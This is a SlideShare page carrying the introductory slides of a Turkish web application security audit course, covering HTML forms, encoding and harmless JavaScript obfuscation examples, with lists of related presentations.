BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi

More Related Content

What's hot

İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab KitabıBGA Cyber Security
 
Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Mehmet Ince
 
WEB ve MOBİL SIZMA TESTLERİ
WEB ve MOBİL SIZMA TESTLERİ WEB ve MOBİL SIZMA TESTLERİ
WEB ve MOBİL SIZMA TESTLERİ BGA Cyber Security
 
Linux İşletim Sistemi - Güncelleme-2018
Linux İşletim Sistemi - Güncelleme-2018Linux İşletim Sistemi - Güncelleme-2018
Linux İşletim Sistemi - Güncelleme-2018Murat KARA
 
GÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİ
GÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİGÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİ
GÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİBGA Cyber Security
 
Log Yönetimi ve Saldırı Analizi Eğitimi - 2
Log Yönetimi ve Saldırı Analizi Eğitimi - 2Log Yönetimi ve Saldırı Analizi Eğitimi - 2
Log Yönetimi ve Saldırı Analizi Eğitimi - 2BGA Cyber Security
 
INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ BGA Cyber Security
 
Web Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriWeb Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriBGA Cyber Security
 
Yazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriYazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriBGA Cyber Security
 
Siber Saldırılar i̇çin Erken Uyarı Sistemi
Siber Saldırılar i̇çin Erken Uyarı SistemiSiber Saldırılar i̇çin Erken Uyarı Sistemi
Siber Saldırılar i̇çin Erken Uyarı SistemiBGA Cyber Security
 
Nmap101 Eğitim Sunumu - Nmap Kullanım Kılavuzu
Nmap101 Eğitim Sunumu - Nmap Kullanım KılavuzuNmap101 Eğitim Sunumu - Nmap Kullanım Kılavuzu
Nmap101 Eğitim Sunumu - Nmap Kullanım KılavuzuMehmet Caner Köroğlu
 
Başarılı Bir Siber Saldırının Perde Arkası ve Vaka Analizi
Başarılı Bir Siber Saldırının Perde Arkası ve Vaka AnaliziBaşarılı Bir Siber Saldırının Perde Arkası ve Vaka Analizi
Başarılı Bir Siber Saldırının Perde Arkası ve Vaka AnaliziBGA Cyber Security
 
GÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMAGÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMABGA Cyber Security
 

What's hot (20)

Metasploit El Kitabı
Metasploit El KitabıMetasploit El Kitabı
Metasploit El Kitabı
 
İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabı
 
Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101
 
WEB ve MOBİL SIZMA TESTLERİ
WEB ve MOBİL SIZMA TESTLERİ WEB ve MOBİL SIZMA TESTLERİ
WEB ve MOBİL SIZMA TESTLERİ
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
 
Linux İşletim Sistemi - Güncelleme-2018
Linux İşletim Sistemi - Güncelleme-2018Linux İşletim Sistemi - Güncelleme-2018
Linux İşletim Sistemi - Güncelleme-2018
 
GÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİ
GÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİGÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİ
GÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİ
 
Log Yönetimi ve Saldırı Analizi Eğitimi - 2
Log Yönetimi ve Saldırı Analizi Eğitimi - 2Log Yönetimi ve Saldırı Analizi Eğitimi - 2
Log Yönetimi ve Saldırı Analizi Eğitimi - 2
 
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
 
INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ
 
Web Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriWeb Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma Testleri
 
Yazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriYazılım Güvenliği Temelleri
Yazılım Güvenliği Temelleri
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
 
Nmap Kullanım Kitapçığı
Nmap Kullanım KitapçığıNmap Kullanım Kitapçığı
Nmap Kullanım Kitapçığı
 
Siber Saldırılar i̇çin Erken Uyarı Sistemi
Siber Saldırılar i̇çin Erken Uyarı SistemiSiber Saldırılar i̇çin Erken Uyarı Sistemi
Siber Saldırılar i̇çin Erken Uyarı Sistemi
 
Nmap101 Eğitim Sunumu - Nmap Kullanım Kılavuzu
Nmap101 Eğitim Sunumu - Nmap Kullanım KılavuzuNmap101 Eğitim Sunumu - Nmap Kullanım Kılavuzu
Nmap101 Eğitim Sunumu - Nmap Kullanım Kılavuzu
 
Başarılı Bir Siber Saldırının Perde Arkası ve Vaka Analizi
Başarılı Bir Siber Saldırının Perde Arkası ve Vaka AnaliziBaşarılı Bir Siber Saldırının Perde Arkası ve Vaka Analizi
Başarılı Bir Siber Saldırının Perde Arkası ve Vaka Analizi
 
GÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMAGÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMA
 
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim SunumuBTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
 

Viewers also liked

Mobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama GüvenliğiMobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama GüvenliğiBGA Cyber Security
 
Liselere Yazılım ve Siber Güvenlik Farkındalığı Sunumu
Liselere Yazılım ve Siber Güvenlik Farkındalığı SunumuLiselere Yazılım ve Siber Güvenlik Farkındalığı Sunumu
Liselere Yazılım ve Siber Güvenlik Farkındalığı SunumuAhmet Gürel
 
Temel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş DökümanıTemel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş DökümanıAhmet Gürel
 

Viewers also liked (19)

BTRisk iOS Mobil Uygulama Denetimi Eğitimi
BTRisk iOS Mobil Uygulama Denetimi EğitimiBTRisk iOS Mobil Uygulama Denetimi Eğitimi
BTRisk iOS Mobil Uygulama Denetimi Eğitimi
 
ISO 27001:2013 versiyonu ile gelen değişiklikler
ISO 27001:2013 versiyonu ile gelen değişikliklerISO 27001:2013 versiyonu ile gelen değişiklikler
ISO 27001:2013 versiyonu ile gelen değişiklikler
 
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMUBTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
 
BTRisk Android Uygulamalara Malware Yerleştirme Sunumu
BTRisk Android Uygulamalara Malware Yerleştirme SunumuBTRisk Android Uygulamalara Malware Yerleştirme Sunumu
BTRisk Android Uygulamalara Malware Yerleştirme Sunumu
 
BTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi SunumuBTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi Sunumu
 
Kali Linux Hakkında Herşey
Kali Linux Hakkında HerşeyKali Linux Hakkında Herşey
Kali Linux Hakkında Herşey
 
Yazıcı Güvenliği
Yazıcı GüvenliğiYazıcı Güvenliği
Yazıcı Güvenliği
 
Web 2.0 Güvenliği
Web 2.0 GüvenliğiWeb 2.0 Güvenliği
Web 2.0 Güvenliği
 
Mobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama GüvenliğiMobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama Güvenliği
 
Unix Denetim Dokümanı
Unix Denetim DokümanıUnix Denetim Dokümanı
Unix Denetim Dokümanı
 
BTRisk Yazılım Güvenliği Yönetimi Eğitimi
BTRisk Yazılım Güvenliği Yönetimi EğitimiBTRisk Yazılım Güvenliği Yönetimi Eğitimi
BTRisk Yazılım Güvenliği Yönetimi Eğitimi
 
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi SunumuBTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
 
Sizma testi bilgi toplama
Sizma testi bilgi toplamaSizma testi bilgi toplama
Sizma testi bilgi toplama
 
Kablosuz Ağlarda Güvenlik
Kablosuz Ağlarda GüvenlikKablosuz Ağlarda Güvenlik
Kablosuz Ağlarda Güvenlik
 
Bilgi Güvenliği Farkındalık Eğitimi Sunumu
Bilgi Güvenliği Farkındalık Eğitimi SunumuBilgi Güvenliği Farkındalık Eğitimi Sunumu
Bilgi Güvenliği Farkındalık Eğitimi Sunumu
 
Liselere Yazılım ve Siber Güvenlik Farkındalığı Sunumu
Liselere Yazılım ve Siber Güvenlik Farkındalığı SunumuLiselere Yazılım ve Siber Güvenlik Farkındalığı Sunumu
Liselere Yazılım ve Siber Güvenlik Farkındalığı Sunumu
 
Temel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş DökümanıTemel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş Dökümanı
 
DNS
DNSDNS
DNS
 
Dns güvenliği
Dns güvenliğiDns güvenliği
Dns güvenliği
 

Similar to BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi

Office 365 Development - Office Add-ins & Microsoft Graph
Office 365 Development - Office Add-ins & Microsoft GraphOffice 365 Development - Office Add-ins & Microsoft Graph
Office 365 Development - Office Add-ins & Microsoft Graphİbrahim KIVANÇ
 
Temel HTML Etiketleri - Text, Image, Link, List, Image
Temel HTML Etiketleri - Text, Image, Link, List, ImageTemel HTML Etiketleri - Text, Image, Link, List, Image
Temel HTML Etiketleri - Text, Image, Link, List, Imagecmkandemir
 
Yazılım Yetekenleri İle Teknik SEO Dünyasında Harikalar Yaratın
Yazılım Yetekenleri İle Teknik SEO Dünyasında Harikalar YaratınYazılım Yetekenleri İle Teknik SEO Dünyasında Harikalar Yaratın
Yazılım Yetekenleri İle Teknik SEO Dünyasında Harikalar YaratınYusuf Ozbay
 
Javascript Performance Optimisation
Javascript Performance OptimisationJavascript Performance Optimisation
Javascript Performance Optimisationirfandurmus
 
Mutant Web Applications
Mutant Web ApplicationsMutant Web Applications
Mutant Web Applicationsguest096801
 
Emrah METE - Oracle Cloud Day 2015 12c SQL New Features
Emrah METE - Oracle Cloud Day 2015 12c SQL New Features Emrah METE - Oracle Cloud Day 2015 12c SQL New Features
Emrah METE - Oracle Cloud Day 2015 12c SQL New Features Emrah METE
 
DP:900 Azure Data Fundamentals - Temel veri kavramları-01
DP:900 Azure Data Fundamentals - Temel veri kavramları-01DP:900 Azure Data Fundamentals - Temel veri kavramları-01
DP:900 Azure Data Fundamentals - Temel veri kavramları-01Önder Değer
 
Apache Htaccess Güvenlik Testleri
Apache Htaccess Güvenlik TestleriApache Htaccess Güvenlik Testleri
Apache Htaccess Güvenlik TestleriBGA Cyber Security
 
Jquery kursu-atasehir
Jquery kursu-atasehirJquery kursu-atasehir
Jquery kursu-atasehirsersld62
 
Temel HTML Etiketleri ve Kullanım Örnekleri
Temel HTML Etiketleri ve Kullanım ÖrnekleriTemel HTML Etiketleri ve Kullanım Örnekleri
Temel HTML Etiketleri ve Kullanım Örneklericmkandemir
 

Similar to BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi (20)

Office 365 Development - Office Add-ins & Microsoft Graph
Office 365 Development - Office Add-ins & Microsoft GraphOffice 365 Development - Office Add-ins & Microsoft Graph
Office 365 Development - Office Add-ins & Microsoft Graph
 
Jquery Giriş
Jquery GirişJquery Giriş
Jquery Giriş
 
Java EE Struts
Java EE StrutsJava EE Struts
Java EE Struts
 
Asp.net ajax
Asp.net ajaxAsp.net ajax
Asp.net ajax
 
Mobil Arayüz Geliştirme
Mobil Arayüz GeliştirmeMobil Arayüz Geliştirme
Mobil Arayüz Geliştirme
 
Temel HTML Etiketleri - Text, Image, Link, List, Image
Temel HTML Etiketleri - Text, Image, Link, List, ImageTemel HTML Etiketleri - Text, Image, Link, List, Image
Temel HTML Etiketleri - Text, Image, Link, List, Image
 
Yazılım Yetekenleri İle Teknik SEO Dünyasında Harikalar Yaratın
Yazılım Yetekenleri İle Teknik SEO Dünyasında Harikalar YaratınYazılım Yetekenleri İle Teknik SEO Dünyasında Harikalar Yaratın
Yazılım Yetekenleri İle Teknik SEO Dünyasında Harikalar Yaratın
 
.Net ile yazılım güvenliği
.Net ile yazılım güvenliği.Net ile yazılım güvenliği
.Net ile yazılım güvenliği
 
Html
HtmlHtml
Html
 
Java script
Java scriptJava script
Java script
 
Javascript Performance Optimisation
Javascript Performance OptimisationJavascript Performance Optimisation
Javascript Performance Optimisation
 
Mutant Web Applications
Mutant Web ApplicationsMutant Web Applications
Mutant Web Applications
 
Selenium 2- Keytorc Test Automation Cheatsheet
Selenium 2- Keytorc Test Automation CheatsheetSelenium 2- Keytorc Test Automation Cheatsheet
Selenium 2- Keytorc Test Automation Cheatsheet
 
Recep proje 5
Recep proje 5Recep proje 5
Recep proje 5
 
Emrah METE - Oracle Cloud Day 2015 12c SQL New Features
Emrah METE - Oracle Cloud Day 2015 12c SQL New Features Emrah METE - Oracle Cloud Day 2015 12c SQL New Features
Emrah METE - Oracle Cloud Day 2015 12c SQL New Features
 
Radore Workshop: Wordpress Nereye Koşuyor?
Radore Workshop: Wordpress Nereye Koşuyor? Radore Workshop: Wordpress Nereye Koşuyor?
Radore Workshop: Wordpress Nereye Koşuyor?
 
DP:900 Azure Data Fundamentals - Temel veri kavramları-01
DP:900 Azure Data Fundamentals - Temel veri kavramları-01DP:900 Azure Data Fundamentals - Temel veri kavramları-01
DP:900 Azure Data Fundamentals - Temel veri kavramları-01
 
Apache Htaccess Güvenlik Testleri
Apache Htaccess Güvenlik TestleriApache Htaccess Güvenlik Testleri
Apache Htaccess Güvenlik Testleri
 
Jquery kursu-atasehir
Jquery kursu-atasehirJquery kursu-atasehir
Jquery kursu-atasehir
 
Temel HTML Etiketleri ve Kullanım Örnekleri
Temel HTML Etiketleri ve Kullanım ÖrnekleriTemel HTML Etiketleri ve Kullanım Örnekleri
Temel HTML Etiketleri ve Kullanım Örnekleri
 

More from BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri (7)

BTRisk - Siber Olay Tespit ve Mudahale Egitimi
BTRisk - Siber Olay Tespit ve Mudahale EgitimiBTRisk - Siber Olay Tespit ve Mudahale Egitimi
BTRisk - Siber Olay Tespit ve Mudahale Egitimi
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
 
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
 
BTRWATCH ISO27001 Yazılımı
BTRWATCH ISO27001 YazılımıBTRWATCH ISO27001 Yazılımı
BTRWATCH ISO27001 Yazılımı
 
Jmeter ile uygulama katmanında yük testi gerçekleştirme
Jmeter ile uygulama katmanında yük testi gerçekleştirmeJmeter ile uygulama katmanında yük testi gerçekleştirme
Jmeter ile uygulama katmanında yük testi gerçekleştirme
 
Android Uygulamaların Tersine Mühendislik Yöntemi ile İncelenmesi
Android Uygulamaların Tersine Mühendislik Yöntemi ile İncelenmesiAndroid Uygulamaların Tersine Mühendislik Yöntemi ile İncelenmesi
Android Uygulamaların Tersine Mühendislik Yöntemi ile İncelenmesi
 

BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi

  • 2. BTRİSK HAKKINDA TANIŞMA Pentest & BT Denetimi ISO27001 Danışmanlık Hizmetleri BG Operasyon Hizmetleri
  • 3. Göreviniz, Deneyiminiz ve Eğitimden Beklentileriniz Nelerdir? TANIŞMA
  • 4. Web Sunucusu Tarayıcı (Browser) Web Sunucusu Uygulama Sunucusu Veritabanı Sunucusu XML Veri Deposu / Konfigürasyon Dosyaları Web Servisi Soket Servisi Diğer Sunucular WEB UYGULAMA MİMARİSİ
  • 5. Tarayıcı (Browser) HTML Javascript ActiveX Applet Silverlight Web Sunucusu Web Sunucusu Uygulama Sunucusu Veritabanı Sunucusu XML Veri Deposu / Konfigürasyon Dosyaları Web Servisi Soket Servisi Diğer Sunucular WEB UYGULAMA MİMARİSİ
  • 6. HTML SINIF TARTIŞMASI • HTML ne işe yarar, temel özellikleri (fonksiyonları) nelerdir?
  • 7. HTML • Temel HTML fonksiyonalitesi • Tablo içinde kayıt listeleme • Form bilgilerini sunucuya gönderme (yorum yazma, başvuruda bulunma) • Resim görüntüleme • Başka bir sayfaya link verme • Formatlı yazı görüntüleme
  • 8. HTML • İleri HTML fonksiyonalitesi • Form alanlarına girilen verilerin validasyonu • Dinamik HTML üretme (ör: bir dropdown list’ten seçilen bir şehrin ilçelerini görüntüleme) • Görüntü (video) oynatma ve ses dinletme
  • 9. HTML • Temel HTML doküman blokları <html> <head> ... </head> <body> ... ... </body> </html>
  • 10. HTML <meta> <meta name="keywords" content="pentest, sızma testi"> <meta name="description" content="pentest hizmetleri"> <meta name="author" content="Burhanttin Özgenç"> <meta http-equiv="refresh" content="10;URL='http://www.btrisk.com/'">
  • 12. HTML <img> (image) <img src="logo.gif" alt="BTRisk Logo" height="42" width="42">
  • 13. HTML <!-- ... --> (comment) <!--Bu bir yorumdur. Yorumlar tarayıcıda görüntülenmez-->
  • 14. HTML <form>, <input> <form action="logon.aspx" method="post"> Kullanıcı Kodu: <input type="text" name="uname"><br> Parola: <input type="password" name="pwd"><br> <input type="hidden" name="isadmin" value="false"> <input type="submit" value="Gönder"> </form>
  • 15. HTML SINIF TARTIŞMASI • Form içeriğini sunucuya göndermeden önce bir kontrol (validasyon) yapmak isteseydik ne yapabilirdik?
  • 16. HTML <form>, <input> (devamı) <form action="logon.aspx" onsubmit="return validateForm()" method="post"> Kullanıcı Kodu: <input type="text" name="uname"><br> Parola: <input type="password" name="pwd"><br> <input type="hidden" name="isadmin" value="false"> <input type="submit" value="Gönder"> </form>
  • 19. HTML <script> (devamı) <script type="text/javascript"> <!-- function merhaba() { alert("Merhaba"); } //--> </script> Yorum satırının burada ne işi olabilir?
  • 21. HTML Formatlama yöntemleri Inline styling (Inline CSS) <h1 style="color:blue">Bu mavi bir başlıktır</h1>
  • 22. HTML Formatlama yöntemleri (devamı) Internal styling (Internal CSS) <html> <head> <style> h1 {color:blue;} </style> </head> <body> <h1>Bu bir başlıktır</h1> </body> </html>
  • 23. HTML Formatlama yöntemleri (devamı) External styling (External CSS) <html> <head> <link rel="stylesheet" href="stiller.css"> </head> <body> <h1>Bu bir başlıktır</h1> </body> </html>
  • 24. HTML Sayfa tasarım ve akış yöntemleri Tablo yöntemi <table style="width:100%"> <tr> <td width="70%">Ocak</td> <td width="30%">100 TL</td> </tr> <tr> <td>Şubat</td> <td>80 TL</td> </tr> </table>
  • 25. HTML Sayfa tasarım ve akış yöntemleri Div tag’i, style ve float özellikleri <div style="width: 500px;"> <div style="float: left; width: 200px;">Sol taraf</div> <div style="float: left; width: 100px;">Orta</div> <div style="float: left; width: 200px;">Sağ taraf</div> <br style="clear: left;" /> </div>
  • 26. HTML SINIF TARTIŞMASI • HTML’in kullandığı özel (tarayıcı için özel anlamı olan) karakterler neler olabilir?
  • 27. HTML SINIF TARTIŞMASI • Peki bu özel karakterleri olduğu gibi görüntülemek istersek ne yapmalıyız?
  • 28. HTML HTML Encoding " &quot; quotation mark ' &apos; apostrophe & &amp; ampersand < &lt; less than > &gt; greater than
  • 29. HTML BİREYSEL EGZERSİZ • Tasarlayacağınız HTML sayfasının içinde bir şirket logosu görüntülensin ve bu logoya tıklandığında şirket web sitesi açılsın. • Bu egzersiz için sizinle paylaşılacak olan örnek HTML sayfasından ve internet kaynaklarından faydalanabilirsiniz.
  • 30. Javascript SINIF TARTIŞMASI • Javascript (ve diğer scripting dilleri) tarayıcı içinde bize hangi imkanları sağlar?
  • 31. Javascript BİREYSEL EGZERSİZ • Size sağlanacak Javascript ile yazılmış hesap makinesi kodlarına çarpma ve bölme fonksiyonalitesini de kazandırınız.
  • 32. Javascript SINIF TARTIŞMASI • Javascript’in bize sağladığı imkanları düşündüğümüzde güvenlik veya güvenlik testleri açılarından Javascript kodlarının ne yaptığını anlamaya neden ihtiyacımız olabilir?
  • 33. Javascript Minify (Compress) etmek x=100; y=101; document.writeln("<br> x = "+x+"<br>"); document.writeln("<br> y = "+y+"<br>"); if(x==y) document.writeln("<br> x = y"); else document.writeln("<br> x != y"); x=100,y=101,document.writeln("<br> x = "+x+"<br>"),document.writeln("<br> y = "+y+"<br>"),document.writeln(x==y?"<br> x = y":"<br> x != y"); Normal Minified
  • 34. Javascript Beautify etmek x = 100; y = 101; document.writeln("<br> x = " + x + "<br>"); document.writeln("<br> y = " + y + "<br>"); document.writeln(x == y ? "<br> x = y" : "<br> x != y"); x=100;y=101;document.writeln("<br> x = "+x+"<br>");document.writeln("<br> y = "+y+"<br>");document.writeln(x==y?"<br> x = y":"<br> x != y"); Güzelleşmiş Kod Çirkin Kod
  • 35. Javascript Obfuscate etmek (işler çirkinleşiyor!) x=100; y=101; document.writeln("<br> x = "+x+"<br>"); document.writeln("<br> y = "+y+"<br>"); if(x==y) document.writeln("<br> x = y"); else document.writeln("<br> x != y"); var _0x15ab=["x3Cx62x72x3Ex20x78x20x3Dx20","x3Cx62x72x3E", "x77x72x69x74x65x6Cx6E","x3Cx62x72x3Ex20x79x20x3Dx20","x3Cx62x72x3Ex20x78x20x3Dx20x79 ","x3Cx62x72x3Ex20x78x20x21x3Dx20x79"];x=100;y=101;document[_0x15ab[2]](_0x15ab[0]+x+_0x15ab[1]);doc ument[_0x15ab[2]](_0x15ab[3]+y+_0x15ab[1]);if(x==y){document[_0x15ab[2]](_0x15ab[4])}else {document[_0x15ab[2]](_0x15ab[5])}; Obfuscated AMA NEDEN ? Normal
  • 36. Javascript Obfuscate etmek (işler çirkinleşiyor!) var _0x15ab=["<br> x = ","<br>", "writeln","<br> y = ","<br> x = y","<br> x != y"];x=100;y=101;document[_0x15ab[2]](_0x15ab[0]+x+_0x15ab[1]);document[_0x15ab[2]](_0x15ab[3]+y+_0x15ab[1]);if(x ==y){document[_0x15ab[2]](_0x15ab[4])}else {document[_0x15ab[2]](_0x15ab[5])}; var arr=["<br> x = ","<br>", "writeln","<br> y = ","<br> x = y","<br> x != y"]; x=100; y=101; document[arr[2]](arr[0]+x+arr[1]); document[arr[2]](arr[3]+y+arr[1]); if(x==y) { document[arr[2]](arr[4])} else { document[arr[2]](arr[5])}; 1 2
  • 37. Javascript Obfuscate etmek (işler çirkinleşiyor!) x=100; y=101; document.writeln("<br> x = "+x+"<br>"); document.writeln("<br> y = "+y+"<br>"); if(x==y) { document.writeln("<br> x = y")} else { document.writeln("<br> x != y")}; 3
  • 38. Javascript Encode etmek (işler daha da çirkinleşiyor!) x=100; y=101; document.writeln("<br> x = "+x+"<br>"); document.writeln("<br> y = "+y+"<br>"); if(x==y) document.writeln("<br> x = y"); else document.writeln("<br> x != y"); <script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3 D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7 B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%7 3%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69% 3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67 %2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28 %69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%6 4%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7 D%3C%2F%73%63%72%69%70%74%3E'));dF('y%264E211%264C%261Bz%264E212%264C%261Bepdvnfou/xsjufmo%26 39%2633%264Dcs%264F%2631y%2631%264E%2631%2633%2Cy%2C%2633%264Dcs%264F%2633%263%3A%264C%2 61Bepdvnfou/xsjufmo%2639%2633%264Dcs%264F%2631z%2631%264E%2631%2633%2Cz%2C%2633%264Dcs%264F %2633%263%3A%264C%261Bjg%2639y%264E%264Ez%263%3A%2631%261B%261%3Aepdvnfou/xsjufmo%2639%263 3%264Dcs%264F%2631y%2631%264E%2631z%2633%263%3A%264C%2631%261Bfmtf%2631%261B%261%3Aepdvnfo u/xsjufmo%2639%2633%264Dcs%264F%2631y%2631%2632%264E%2631z%2633%263%3A%264C%261B1')</script> Normal Encoded
